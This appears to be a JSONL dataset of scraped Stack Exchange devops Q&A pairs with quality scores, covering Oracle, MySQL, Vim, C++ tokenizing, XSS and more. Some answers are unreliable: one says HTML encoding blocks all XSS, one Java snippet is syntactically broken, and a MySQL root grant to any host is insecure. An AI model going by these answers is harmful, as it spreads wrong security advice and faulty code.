{"id": "hf_b9cbf2f38ca5", "question": "<p>Does anyone have examples of how to use <a href=\"http://www.oracle-base.com/articles/8i/DBMS_APPLICATION_INFO.php\" rel=\"nofollow noreferrer\">DBMS_APPLICATION_INFO</a> package with JBOSS? </p>\n\n<p>We have a various applications which run within JBOSS and share db pools. I would like, at the start of each session these applications to identify themselves to the database using DBMS_APPLICATION_INFO so I can more easily track which sections of the application is causing database issues.</p>\n\n<p>I'm not too familiar with session life cycles in JBOSS, but at the end of the day, what needs to happen is at the start and end of a transaction, this package needs to be called.</p>\n\n<p>Has anyone done this before?</p>\n", "question_body": "", "answer": "yes, you can write a wrapper class around your connection pool, and a wraper around the connection\nso lets say you have:\n```\nOracleConnection conn=connectionPool.getConnection(\"java:scott@mydb\");\n```\nChange it to:\n```\npublic class LoggingConnectionPool extends ConnectionPool{\n    public OracleConnection getConnection(String datasourceName, String module, String action){\n        OracleConnection conn=getConnection(datasourceName);\n        CallableStatement call=conn.preparedCall(\"begin dbms_application_info.setModule(module_name => ?, action_name => ?); end;\");\n        try{\n            call.setString(1,module);\n            call.setString(2,action);\n            call.execute();\n        finally{\n            call.close();\n        }\n        return new WrappedOracleConnection(conn);\n    }\n```\nNote the use of WrappedOracleConnection above. You need this because you need to trap the close call\n```\npublic class WrappedOracleConnection extends OracleConnection{\n    public void close(){\n        CallableStatement call=this.preparedCall(\"begin dbms_application_info.setModule(module_name => ?, action_name => ?); end;\");\n        try{\n            call.setNull(1,Types.VARCHAR);\n            call.setNull(2,Types.VARCHAR);\n            call.execute();\n        finally{\n            call.close();\n        }\n    }\n\n    // and you need to implement every other method\n    //for example\n    public CallableStatement prepareCall(String command){\n        return super.prepareCall(command);\n    }\n    ...\n}\n```\nHope this helps, I do something similar on a development server to catch connections that are not closed (not returned to the pool).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.875936"}
{"id": "hf_5ae009c82d4e", "question": "<p>An OleDB provider is a binary implementing COM interfaces provided by Microsoft. From that it seems to be possible to create a provider using C#. Is that correct? Is there a sample demonstrating that? If not, would you discourage me from doing that? I see that there are multiple unmanaged samples but I can't find any managed.</p>\n", "question_body": "", "answer": "I am not sure I really understand your question?! There already\nis\na managed OleDBProvider?!\n```\n```\nusing System.Data.OleDb;\n```\n```\nI would certainly discourage writing a provider that exists and works absolutely fine! :)\nBut in answer to your first question, you can of course create your own. The\nData Provider Roadmap\nmay be a good place to start for an overview and links  to samples etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.923658"}
{"id": "hf_af28295678aa", "question": "<p>If starting a new project what would you use for your ORM NHibernate or LINQ and why.  What are the pros and cons of each.</p>\n\n<p>edit: LINQ to SQL not just LINQ (thanks @Jon Limjap)</p>\n", "question_body": "", "answer": "Errr... there's\nLINQ for NHibernate\n.\nPerhaps what you mean is which to use:\nLINQ to SQL\nNHibernate\nI prefer NHibernate.\nLINQ to SQL is fairly lightweight, but it's a little bit more tightly coupled to your data structure, as opposed to NHibernate which is pretty flexible in terms of the types of object definitions that can be mapped to your table structures.\nOf course that's not to say that LINQ to SQL has no uses: this very website uses it. I believe that it's quite useful to get up and running in small applications where the database schema is not as massive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:56.959101"}
{"id": "hf_4cc843db782a", "question": "<p>I want to wrap a piece of code that uses the Windows Impersonation API into a neat little helper class, and as usual, I'm looking for a way to go test-first. However, while WindowsIdentity is a managed class, the LogonUser call that is required to actually perform the logging in as another user is an unmanaged function in advapi32.dll. </p>\n\n<p>I think I can work around this by introducing an interface for my helper class to use and hiding the P/Invoke calls in an implementation, but testing that implementation will still be a problem. And you can imagine actually performing the impersonation in the test can be a bit problematic, given that the user would actually need to exist on the system.</p>\n", "question_body": "", "answer": "Guideline: Don't test code that you haven't written.\nYou shouldn't be concerned with WinAPI implementation not working (most probably it works as expected). \nYour concern should be testing the 'Wiring' i.e. if your code makes the right WinAPI call. In which case, all you need is to mock out the interface and let the mock framework tell if you the call was made with the right params. If yes, you're done.\nCreate IWinAPIFacade (with relevant WinAPI methods) and implementation CWinAPIFacade.\nWrite a test which plugs in a mock of IWinAPIFacade and verify that the appropriate call is made\nWrite a test to ensure that CWinAPIFacade is created and plugged in as a default (in normal functioning)\nImplement CWinAPIFacade which simply blind-delegates to Platform Invoke calls - no need to auto-test this layer. Just do a manual verification. Hopefully this won't change that often and nothing breaks. If you find that it\ndoes\nin the future, barricade it with some tests.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.017086"}
{"id": "hf_aff3c3b017c8", "question": "<p>I have IIS 5.1 installed on Windows XP Pro SP2. Besides I have installed VS 2008 Express with .NET 3.5. So obviously IIS is configured for ASP.NET automatically for .NET 3.5</p>\n\n<p>The problem is whenever I access <a href=\"http://localhost\" rel=\"noreferrer\">http://localhost</a> IE &amp; Firefox both presents authentication box. Even if I enter Administrator user and its password, the authentication fails. I have already checked the anonymous user access (with IUSR_ user and password is controlled by IIS) in Directory Security options of default website.</p>\n\n<p>However other deployed web apps work fine (does not ask for any authentication).</p>\n\n<p>In IE this authentication process stops if I add <a href=\"http://localhost\" rel=\"noreferrer\">http://localhost</a> in Intranet sites option.</p>\n\n<p>Please note that the file system is FAT32 when IIS is installed.</p>\n\n<p>Regards,\nJatan</p>\n", "question_body": "", "answer": "It could be because of couple of Browser settings. Try with these options checked..\nTools > Internet Options > Advanced > Enable Integrated Windows Authentication (works with Integrated Windows Authentication set on IIS)\nTools > Internet Options> Security > Local Intranet > Custom Level > Automatic Logon\nWorst case, try adding localhost to the Trusted sites.\nIf you are in a network, you can also try debugging by getting a network trace. Could be because of some proxy trying to authenticate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.051568"}
{"id": "hf_5ceeba737cf4", "question": "<p>I have some Ruby code which takes dates on the command line in the format:</p>\n\n<pre><code>-d 20080101,20080201..20080229,20080301\n</code></pre>\n\n<p>I want to run for all dates between <code>20080201</code> and <code>20080229</code> inclusive and the other dates present in the list.</p>\n\n<p>I can get the string <code>20080201..20080229</code>, so is the best way to convert this to a Range instance? Currently, I am using <code>eval</code>, but it feels like there should be a better way.</p>\n\n<hr>\n\n<p>@Purfideas I was kind of looking for a more general answer for converting any string of type <code>int..int</code> to a Range I guess.</p>\n", "question_body": "", "answer": "assuming you want the range to iterate properly through months etc, try\n```\n```\nrequire 'date'\n\nends = '20080201..20080229'.split('..').map{|d| Date.parse(d)}\n(ends[0]..ends[1]).each do |d|\n  p d.day\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.074864"}
{"id": "hf_67998632cc61", "question": "<p>I am trying to apply styles to HTML tags dynamically by reading in the value of certain HTML attributes and applying a class name based on their values. For instance, if I have:</p>\n\n<pre><code>&lt;p height=\"30\"&gt;\n</code></pre>\n\n<p>I want to apply a <code>class=\"h30\"</code> to that paragraph so that I can style it in my style sheet. I can't find any information on getting the value of an attribute that is not an <code>id</code> or <code>class</code>. Help?</p>\n", "question_body": "", "answer": "Attributes are just properties (usually). So just try:\n```\n```\nfor (e in ...) {\n    if (e.height == 30) {\n        e.className = \"h30\";\n    }\n}\n```\n```\nOr use something like jquery to simplify this kind of stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.097651"}
{"id": "hf_cd7e36d75f64", "question": "<p>I have long since forgotten the password for the root user on one of my boxes. Is there a way I can change it without having to log in to the instance, or will I have to reinstall?</p>\n", "question_body": "", "answer": "A quick Google resulted in this answer. In the root shell type:\n```\n```\nmysqladmin -u root password <password>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.143685"}
{"id": "hf_6011a5acb7d7", "question": "<p>How do I enable external access to MySQL Server? I can connect locally but I cannot connect from another box on the network.</p>\n\n<p>I just tried</p>\n\n<pre><code>grant all privileges on *.* to root@'%' identified by '*****' with grant option;\n</code></pre>\n\n<p>And restarted MySQL Server with no success.</p>\n", "question_body": "", "answer": "You probably have to edit the configuration file (usually my.cnf) to listen in the external interface instead of on localhost only.\nChange the\n```\nbind-address\n```\nparameter to your machine's IP address.\nIf this is an old MySQL installation, you should comment out the skip-networking parameter.\nAfterwards, restart MySQL and you'll be set", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.166937"}
{"id": "hf_21f24b90b291", "question": "<p>I am developing console application in .Net and I want to change a behavior a little based on information that application was started from cmd.exe or from explorer.exe. Is it possible?</p>\n", "question_body": "", "answer": "The\nCreateToolhelp32Snapshot Function\nhas a Process32First method that will allow you to read a\nPROCESSENTRY32 Structure\n. The structure has a property that will get you the information you want:\nth32ParentProcessID\n- The identifier\n  of the process that created this\n  process (its parent process).\nThis article will help you get started using the ToolHelpSnapshot function:\nhttp://www.codeproject.com/KB/cs/IsApplicationRunning.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.203625"}
{"id": "hf_39da2dda68e9", "question": "<p>If I use restful_authentication in my ruby on rails app are passwords transfered between the broswer and the server in paintext? And if so how worried should I be about it?</p>\n", "question_body": "", "answer": "Well, you need to be worried if you are not hosting it over HTTPS... because if it is straight HTTP, then yes it is being passed in plaintext.\nI don't know Rails specifically, but I'm pretty sure it has nothing to do with whether you host it via HTTP or HTTPS.\nEdit: I found\nthis link\nwhich apparently provides an example Rails app over HTTPS.\nFurther Edit: Here is\nanother link\ndiscussing HTTPS with Rails.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.228059"}
{"id": "hf_81a06d0a10ed", "question": "<p>For example, if passed the following:</p>\n\n<pre><code>a = []\n</code></pre>\n\n<p>How do I check to see if <code>a</code> is empty?</p>\n", "question_body": "", "answer": "```\n```\nif not a:\n    print(\"List is empty\")\n```\n```\nUsing the\nimplicit booleanness\nof the empty\n```\nlist\n```\nis quite Pythonic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.252085"}
{"id": "hf_62d49f889cdf", "question": "<p>What are some of the ways? What frameworks can you use?</p>\n", "question_body": "", "answer": "Well, I presume you mean unit testing your code that hits the database, in which case, there is\nNDbUnit\n, which appears to be a DbUnit clone for .NET.  I've never used it, but I have used DbUnit, and it is quite useful.\nEdit: I assumed you were using .NET because you mentioned MSSQL.  If however you are actually using Java, there is\nDbUnit\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.275603"}
{"id": "hf_7c2e79ad4027", "question": "<p>I have a bunch of servlets running under the Tomcat servlet container. I would like to separate test code from production code, so I considered using a test framework.\nJUnit is nicely integrated into Eclipse, but I failed to make it run servlets using a running Tomcat server. Could you please recommend a unit testing framework that supports testing Tomcat servlets? Eclipse integration is nice but not necessary. </p>\n", "question_body": "", "answer": "Okay.  Ignoring the 'tomcat' bit and coding to the servlet, your best bet is to create mocks for the response and request objects, and then tell it what you expect out of it.\nSo for a standard empty doPost, and using\nEasyMock\n, you'll have\n```\n```\npublic void testPost() {\n   mockRequest = createMock(HttpServletRequest.class);\n   mockResponse = createMock(HttpServletResponse.class);\n   replay(mockRequest, mockResponse);\n   myServlet.doPost(mockRequest, mockResponse);\n   verify(mockRequest, mockResponse);\n}\n```\n```\nThen start adding code to the doPost.  The mocks will fail because they have no expectations, and then you can set up the expectations from there.\nNote that if you want to use EasyMock with classes, you'll have to use the EasyMock class extension library.  But it'll work the same way from then on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.299729"}
{"id": "hf_7125ffba70c7", "question": "<p>Is it possible to order results in SQL Server 2005 by the relevance of a freetext match? In MySQL you can use the (roughly equivalent) MATCH function in the ORDER BY section, but I haven't found any equivalence in SQL Server.</p>\n\n<p>From the <a href=\"http://dev.mysql.com/doc/refman/5.0/en/fulltext-natural-language.html\" rel=\"noreferrer\">MySQL docs</a>:</p>\n\n<blockquote>\n  <p>For each row in the table, MATCH() returns a relevance value; that is, a similarity measure between the search string and the text in that row in the columns named in the MATCH() list.</p>\n</blockquote>\n\n<p>So for example you could order by the number of votes, then this relevance, and finally by a creation date. Is this something that can be done, or am I stuck with just returning the matching values and not having this ordering ability?</p>\n", "question_body": "", "answer": "If you are using\n```\nFREETEXTTABLE\n```\nthen it returns a column name\n```\nRank\n```\n, so\n```\norder by Rank\n```\nshould work. I don't know if other freetext search methods are also returning this value or not. You can have a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.324095"}
{"id": "hf_961a5113ab2e", "question": "<p>Having tries to target two of these environments at the same time I can safely say the if you have to use a database etc. you end up having to write unique code for that environment. Have you got a great way to handle this situation?</p>\n", "question_body": "", "answer": "If you\ndo\nfind you need to write unique code for an environment, use pythons\n```\n```\nimport mymodule_jython as mymodule\n\nimport mymodule_cpython as mymodule\n```\n```\nhave this stuff in a simple module (''module_importer''?) and write your code like this:\n```\n```\nfrom module_importer import mymodule\n```\n```\nThis way, all you need to do is alter\n```\nmodule_importer.py\n```\nper platform.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.347410"}
{"id": "hf_65fa195e524d", "question": "<p>Ulimately I just wanted to extract strings from the .rc file so I could translate them, but anything that goes with .rc files works for me.</p>\n", "question_body": "", "answer": "Maybe this helps? (\nhttp://social.msdn.microsoft.com/forums/en-US/regexp/thread/5e87fce9-ec73-42eb-b2eb-c821e95e0d31/\n)\nThey are using the following regex to find the stringtable in the rc source:\n(?<=\\bSTRINGTABLE\\s+BEGIN\\s+).*?(?=\\s+END\\b)\nEdit - And you can read the key values pairs with the following statement with the MultiLine option:\n@\"\\s+(.*?)\\s+\"\"(.*)\"\"\";", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.405883"}
{"id": "hf_38376d078faf", "question": "<p>I've started using Vim to develop Perl scripts and am starting to find it very powerful. </p>\n\n<p>One thing I like is to be able to open multiple files at once with:</p>\n\n<pre><code>vi main.pl maintenance.pl\n</code></pre>\n\n<p>and then hop between them with:</p>\n\n<pre><code>:n\n:prev\n</code></pre>\n\n<p>and see which file are open with:</p>\n\n<pre><code>:args\n</code></pre>\n\n<p>And to add a file, I can say: </p>\n\n<pre><code>:n test.pl\n</code></pre>\n\n<p>which I expect would then be added to my list of files, but instead it wipes out my current file list and when I type <code>:args</code> I only have <code>test.pl</code> open.</p>\n\n<p>So how can I add and remove files in my args list?</p>\n", "question_body": "", "answer": "Vim (but not the original Vi!) has tabs which I find (in many contexts) superior to buffers. You can say\n```\n:tabe [filename]\n```\nto open a file in a new tab. Cycling between tabs is done by clicking on the tab or by the key combinations [\nn\n]\n```\ngt\n```\nand\n```\ngT\n```\n. Graphical Vim even has graphical tabs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.548155"}
{"id": "hf_fb53c7c04859", "question": "<p>When trying to connect to an <code>ORACLE</code> user via TOAD (Quest Software) or any other means (<code>Oracle Enterprise Manager</code>) I get this error:</p>\n\n<blockquote>\n  <p><code>ORA-011033: ORACLE initialization or shutdown in progress</code></p>\n</blockquote>\n", "question_body": "", "answer": "After some googling, I found the advice to do the following, and it worked:\n```\n```\nSQL> startup mount\n\nORACLE Instance started\n\nSQL> recover database \n\nMedia recovery complete\n\nSQL> alter database open;\n\nDatabase altered\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.589266"}
{"id": "hf_cd22d23d547f", "question": "<p>I am not concerned about other kinds of attacks. Just want to know whether HTML Encode can prevent all kinds of XSS attacks.</p>\n\n<p>Is there some way to do an XSS attack even if HTML Encode is used?</p>\n", "question_body": "", "answer": "I don't believe so. Html Encode converts all functional characters (characters which could be interpreted by the browser as code) in to entity references which cannot be parsed by the browser and thus, cannot be executed.\n```\n```\n&lt;script/&gt;\n```\n```\nThere is no way that the above can be executed by the browser.\n**Unless their is a bug in the browser ofcourse.*", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.662421"}
{"id": "hf_4c14a387e68f", "question": "<p>I would like to know how can i escape a # in velocity. Backslash seems to escape it but it prints itself as well</p>\n\n<p>This:    </p>\n\n<pre><code>\\#\\#\n</code></pre>\n\n<p>prints:   </p>\n\n<pre><code>\\#\\#\n</code></pre>\n\n<p>I would like:   </p>\n\n<pre><code>## \n</code></pre>\n", "question_body": "", "answer": "Maybe, the following site helps?\nhttp://velocity.apache.org/tools/1.4/generic/EscapeTool.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.697417"}
{"id": "hf_a4b337d2d3f0", "question": "<p>What was the motivation for having the <code>reintroduce</code> keyword in Delphi?</p>\n\n<p>If you have a child class that contains a function with the same name as a virtual function in the parent class and it is not declared with the override modifier then it is a compile error. Adding the reintroduce modifier in such situations fixes the error, but I have never grasped the reasoning for the compile error.</p>\n", "question_body": "", "answer": "When the ancestor class also has a method with the same name, and it is not necessarily declared virtual, you would see a compiler warning (as you would hide this method).\nIn other words: You tell the compiler that you know that you hide the ancestor function and replace it with this new function and do so deliberately.\nAnd why would you do this? If the method is virtual in the parent class, the only reason is to prevent polymorphism. Other then that just override and do not call inherited. But if the parent method is not declared virtual (and you cannot change that, because you do not own the code for example), you can inherit from that class and let people inherit from your class without seeing a compiler warning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.791123"}
{"id": "hf_9f13d4f5b575", "question": "<p>Java has a convenient split method:</p>\n\n<pre><code>String str = \"The quick brown fox\";\nString[] results = str.split(\" \");\n</code></pre>\n\n<p>Is there an easy way to do this in C++?</p>\n", "question_body": "", "answer": "Here is a sample tokenizer class that might do what you want\n```\n```\n//Header file\nclass Tokenizer \n{\n    public:\n        static const std::string DELIMITERS;\n        Tokenizer(const std::string& str);\n        Tokenizer(const std::string& str, const std::string& delimiters);\n        bool NextToken();\n        bool NextToken(const std::string& delimiters);\n        const std::string GetToken() const;\n        void Reset();\n    protected:\n        size_t m_offset;\n        const std::string m_string;\n        std::string m_token;\n        std::string m_delimiters;\n};\n\n//CPP file\nconst std::string Tokenizer::DELIMITERS(\" \\t\\n\\r\");\n\nTokenizer::Tokenizer(const std::string& s) :\n    m_string(s), \n    m_offset(0), \n    m_delimiters(DELIMITERS) {}\n\nTokenizer::Tokenizer(const std::string& s, const std::string& delimiters) :\n    m_string(s), \n    m_offset(0), \n    m_delimiters(delimiters) {}\n\nbool Tokenizer::NextToken() \n{\n    return NextToken(m_delimiters);\n}\n\nbool Tokenizer::NextToken(const std::string& delimiters) \n{\n    size_t i = m_string.find_first_not_of(delimiters, m_offset);\n    if (std::string::npos == i) \n    {\n        m_offset = m_string.length();\n        return false;\n    }\n\n    size_t j = m_string.find_first_of(delimiters, i);\n    if (std::string::npos == j) \n    {\n        m_token = m_string.substr(i);\n        m_offset = m_string.length();\n        return true;\n    }\n\n    m_token = m_string.substr(i, j - i);\n    m_offset = j;\n    return true;\n}\n```\n```\nExample:\n```\n```\nstd::vector <std::string> v;\nTokenizer s(\"split this string\", \" \");\nwhile (s.NextToken())\n{\n    v.push_back(s.GetToken());\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.908298"}
{"id": "hf_631acf4af865", "question": "<p>Can a Linq query retrieve BLOBs from a Sql Database?<br>\nAnd how do they come out?</p>\n", "question_body": "", "answer": "If I'm not mistaken LINQ to SQL teats BLOB as System.Byte[]\nI recall that there was some problem with SqlMetal, it generated wrong type for BLOB, but MSVS dmbl designer should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.931986"}
{"id": "hf_ea75bc64cbd7", "question": "<p>Programming in vim I often go search for something, yank it, then go back to where I was, insert it, modify it.</p>\n\n<p>The problem is that after I search and find, I need to MANUALLY find my way back to where I was.</p>\n\n<p>Is there an automatic way to go back to where I was when I initiated my last search?</p>\n", "question_body": "", "answer": "I've always done by it setting a mark.\nIn command-mode, press\nm\n[letter]\n.  For example,\nm\na\nsets a mark at the current line using\na\nas the mark identifier.\nTo get back to the mark press\n'\n[letter]\n.  For example,\n'\na\ntakes you back to the line mark set in step 1.  To get back to the column position of the row where you marked the line, use\n`\na\n(\nback-tick\n[letter]\n).\nTo see all of the marks that currently set, type\n```\n:marks\n```\n.\nOn a slightly unrelated note, I just discovered another nifty thing about marks.\nLet's say you jump to mark\nb\nby doing\nm\nb\n.  Vim automatically sets the mark\n'\n(that's a single-quote) to be whichever line you were on before jumping to mark\nb\n.\nThat means you can do\n'\nb\nto jump to that mark, then do\n''\n(2 single-quotes) to jump back to wherever you were before.\nI discovered this accidentally using the\n```\n:marks\n```\ncommand, which shows a list of all marks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.954532"}
{"id": "hf_f46096c16e46", "question": "<p>I'm trying to produce sheets of photographs with captions arranged in a grid using XSLT and XSL-FO. The photo URLs and captions are produced using a FOR XML query against an SQL Server database, and the number of photos returned varies from sheet to sheet. I want to lay the photos out in four columns, filling the grid from left to right and from top to bottom. In HTML I'd do this by putting each photo and caption into a div and using \"float: left\" to make them flow into the grid. Is there a similarly elegant method using XSL-FO?</p>\n", "question_body": "", "answer": "To keep life simple I would normally setup a table for this, it's quite simple and will ensure that things get laid out right. If you wanted to do it similarly to how you would do it in HTML then you should layout block-container elements.\nHowever you decide to do it I would always recommend using the\nZVON Reference\nsite. Nice lookup of elements and available attributes, and while their XSL-FO doesn't include much in the way of explanation every page deep links to the standards document.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:57.978065"}
{"id": "hf_cefb32771a4a", "question": "<p>I'm running Visual Studio 2008 with the stuff-of-nightmares awful MS test framework.  Trouble is that it's sending my CPU to 100% (well 25% on a quad-core).</p>\n\n<p>My question is why can't Visual Studio run on more than one core?  Surely M$ must have a sufficient handle on threading to get this to work.</p>\n", "question_body": "", "answer": "I have VS2008 running on all 4 CPUs. Just set this environment variable / project flag.\n/MP\n(It can be set in C/C++ Settings, Advanced. In project settings)\nEdit: The MP flag can also accept a number, e.g. /MP2 which means it will only run on 2 cores. Leaving it as just /MP means it will run on the maximum amount of cores.\nEdit2: The MP flag is probably for the compiler only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.001334"}
{"id": "hf_a4df7fd434ca", "question": "<p>Is there a way to convert a HTML string into a Image .tiff file?</p>\n\n<p>I am using C# .NET 3.5. The requirement is to give the user an option to fact a confirmation. The confirmation is created with XML and a XSLT. Typically it is e-mailed.  </p>\n\n<p>Is there a way I can take the HTML string generated by the transformation HTML string and convert that to a <code>.tiff</code> or any image that can be faxed?</p>\n\n<p>3rd party software is allowed, however the cheaper the better.</p>\n\n<p>We are using a 3rd party fax library, that will only accept <code>.tiff</code> images, but if I can get the HTML to be any image I can covert it into a <code>.tiff</code>.</p>\n", "question_body": "", "answer": "A starting point might be the software of\nWebSuperGoo\n, which provide rich image editing products, cheap or for free.\nI know for sure their PDF Writer can do basic HTML (\nhttp://www.websupergoo.com/helppdf6net/source/3-concepts/b-htmlstyles.htm\n). This should not be too hard to convert to TIFF.\nThis does not include the full HTML subset or CSS. That might require using Microsofts IE ActiveX component.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.047528"}
{"id": "hf_38d5c23c4dff", "question": "<p>I am trying to implement AJAX in my Google App Engine application, and so I am looking for a good AJAX framework that will help me. Anyone has any idea?</p>\n\n<p>I am thinking about Google Web Toolkit, how good it is in terms of creating AJAX for Google App Engine?</p>\n", "question_body": "", "answer": "As Google Web Toolkit is a\nsubset of Java\nit works best when you Java at the backend too.  Since Google App Engine is currently\nPython only\nI think you'd have to do a lot of messing about to get your server and client to talk nicely to each other.\njQuery seems to be the most popular JavaScript library option in the\nAJAX Tag at DjangoSnippets.com\n.\nEdit:\nThe above is only true of Google App Engine applications written in Python.  As Google App Engine now supports Java, GWT could now be a good choice for writing an AJAX front end.\nGoogle even have a tutorial showing you how to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:58.117697"}
